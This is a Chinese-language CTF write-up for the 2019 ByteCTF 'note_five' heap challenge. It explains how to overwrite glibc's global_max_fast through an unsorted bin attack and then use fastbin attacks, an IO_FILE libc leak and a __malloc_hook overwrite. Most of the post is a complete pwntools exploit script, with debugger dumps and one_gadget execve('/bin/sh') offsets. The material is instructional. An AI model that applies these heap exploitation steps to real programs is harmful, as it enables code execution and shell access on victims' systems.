Global_Max_Fast在PWN中的利用姿势

November 4, 2019 PWN 访问: 80 次

应用场景

如果某一程序中限制我们malloc的size要大于最大的fastbin的size的话,我们就不能够利用fastbin attack来攻击,如果我们能通过其他漏洞可以修改到global_max_fast的话,就会突破fastbin的最大chunk是0x80
一般的话都会利用unsorted bin attack来修改global_max_fast,然后再利用fastbin attack来攻击

2019 Byte CTF notefive

菜单题,保护全开
漏洞点read_str函数,存在off by one,但是create中可以分配的只能是在0x8f~0x400之间
那么我们就可以通过unsorted bin attack来修改global_max_fast为一个很大的值,突破限制,接下来就是平常的fastbin attack
首先是要先泄露libc地址,用的还是IO_file
找合适的地方进行fastbin attack,在stderr中由一个字段是0xffffffffffffffff,可以利用

pwndbg> x/100gx 0x7f4339c19540
0x7f4339c19540 <_IO_2_1_stderr_>:   0x00000000fbad2087  0x00007f4339c195c3
0x7f4339c19550 <_IO_2_1_stderr_+16>:    0x00007f4339c195c3  0x00007f4339c195c3
0x7f4339c19560 <_IO_2_1_stderr_+32>:    0x00007f4339c195c3  0x00007f4339c195c3
0x7f4339c19570 <_IO_2_1_stderr_+48>:    0x00007f4339c195c3  0x00007f4339c195c3
0x7f4339c19580 <_IO_2_1_stderr_+64>:    0x00007f4339c195c4  0x0000000000000000
0x7f4339c19590 <_IO_2_1_stderr_+80>:    0x0000000000000000  0x0000000000000000
0x7f4339c195a0 <_IO_2_1_stderr_+96>:    0x0000000000000000  0x00007f4339c19620
0x7f4339c195b0 <_IO_2_1_stderr_+112>:   0x0000000000000002  0xffffffffffffffff
0x7f4339c195c0 <_IO_2_1_stderr_+128>:   0x0000000000000000  0x00007f4339c1a770
0x7f4339c195d0 <_IO_2_1_stderr_+144>:   0xffffffffffffffff  0x0000000000000000
0x7f4339c195e0 <_IO_2_1_stderr_+160>:   0x0000000000000000  0x0000000000000000
0x7f4339c195f0 <_IO_2_1_stderr_+176>:   0x0000000000000000  0x0000000000000000
0x7f4339c19600 <_IO_2_1_stderr_+192>:   0x0000000000000000  0x0000000000000000
0x7f4339c19610 <_IO_2_1_stderr_+208>:   0x0000000000000000  0x0000000000000000
0x7f4339c19620 <_IO_2_1_stdout_>:   0x00000000fbad1800  0x00007f4339c196a3
0x7f4339c19630 <_IO_2_1_stdout_+16>:    0x00007f4339c196a3  0x00007f4339c196a3
0x7f4339c19640 <_IO_2_1_stdout_+32>:    0x00007f4339c196a3  0x00007f4339c196a3
0x7f4339c19650 <_IO_2_1_stdout_+48>:    0x00007f4339c196a4  0x00007f4339c196a3
0x7f4339c19660 <_IO_2_1_stdout_+64>:    0x00007f4339c196a4  0x0000000000000000
0x7f4339c19670 <_IO_2_1_stdout_+80>:    0x0000000000000000  0x0000000000000000
0x7f4339c19680 <_IO_2_1_stdout_+96>:    0x0000000000000000  0x00007f4339c188e0
0x7f4339c19690 <_IO_2_1_stdout_+112>:   0x0000000000000001  0xffffffffffffffff
0x7f4339c196a0 <_IO_2_1_stdout_+128>:   0x000000000a000000  0x00007f4339c1a780
0x7f4339c196b0 <_IO_2_1_stdout_+144>:   0xffffffffffffffff  0x0000000000000000
0x7f4339c196c0 <_IO_2_1_stdout_+160>:   0x00007f4339c187a0  0x0000000000000000
0x7f4339c196d0 <_IO_2_1_stdout_+176>:   0x0000000000000000  0x0000000000000000

修改过之后就是要修改__malloc_hook了,但是在__malloc_hook附近也没有0xf1的数据,但是在__malloc_hook前面存在一个stdin,它里面也由0xffffffffffffffff字段,所以相同的方法,在离__malloc_hook近的地方写上0xf1,然后再改__malloc_hoolone_gg
发现one_gg都不能用,所以还是要通过触发报错来getshell
Exp:

from pwn import *
import sys
context.log_level='debug'
debug = 1
file_name = './note_five'
libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
ip = ''
prot = ''
file = ELF(file_name)
sl = lambda x : r.sendline(x)
sd = lambda x : r.send(x)
sla = lambda x,y : r.sendlineafter(x,y)
rud = lambda x : r.recvuntil(x,drop=True)
ru = lambda x : r.recvuntil(x)
li = lambda name,x : log.info(name+':'+hex(x))
ri = lambda  : r.interactive()
def create(index,chunk_size):
    rud('choice>> ')
    sl('1')
    ru("idx: ")
    sl(str(index))
    ru('size: ')
    sl(str(chunk_size))
def delete(index):
    rud('choice>> ')
    sl('3')
    ru('idx: ')
    sl(str(index))
# def show(index):
#     ru('')
#     sl('')
#     ru('')
#     sl(str(index))
def edit(index,value):
    rud('choice>> ')
    sl('2')
    ru('idx: ')
    sl(str(index))
    ru('content: ')
    sl(value)
def edit2(index,value):
    rud('choice>> ')
    sl('2')
    ru('idx: ')
    sl(str(index))
    ru('content: ')
    sd(value)
def debug():
    gdb.attach(r)
    # raw_input()
while True:
    try:
        if debug:
            r = process(file_name)
            libc = ELF(libc_name)
        else:
            r = remote(ip,int(prot))
            libc = ELF(libc_name)
        create(0,0x98)
        create(1,0x98)
        create(2,0xe8)
        create(3,0x98)
        edit(0,"\x00"*0x98+"\xf1")
        edit(2,"\x00"*0x48+p64(0xa1))
        delete(1)
        create(0,0xe8)
        delete(2)
        edit(0,"\x00"*0x90+p64(0)+p64(0xf1)+p64(0)+"\xe8\xa7")
        #95cf
        create(2,0xe8)
        delete(2)
        edit(0,"\x00"*0x90+p64(0)+p64(0xf1)+"\xcf\x95")
        create(1,0xe8)
        create(2,0xe8)
        edit(2,"\x00"+"\x00"*0x40+p64(0xfbad1800)+p64(0)*3+"\x00")
        data = rud("choice>> ")
        if "\x7f" not in data:
            raise EOFError
        libc_base = u64(data[0x48:0x50])-0x3c56a3
        li("libc_base",libc_base)
        __malloc_hook = libc_base + libc.symbols['__malloc_hook']
        li("__malloc_hook",__malloc_hook)
        fake_addr = 0x3c496f+libc_base
        #delete(1)
        sl('3')
        ru('idx: ')
        sl(str(1))
        edit(0,"\x00"*0x90+p64(0)+p64(0xf1)+p64(fake_addr))
        create(1,0xe8)
        create(2,0xe8)
        edit(2,"\x00"+"\x00"*0xc0+p64(0)+p64(0xf1))
        fake_addr2 = 0x3c4a40+libc_base
        delete(1)
        edit(0,"\x00"*0x90+p64(0)+p64(0xf1)+p64(fake_addr2))
        create(1,0xe8)
        create(2,0xe8)
        one_gg = 0xf02a4+libc_base
        edit(2,"\x00"*0xc0+p64(one_gg))
        # debug()
        edit(0,"\x00"*0x90+p64(0)+p64(0))
        debug()
        delete(1)
        ri()
    except EOFError:
        r.close()
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''

添加新评论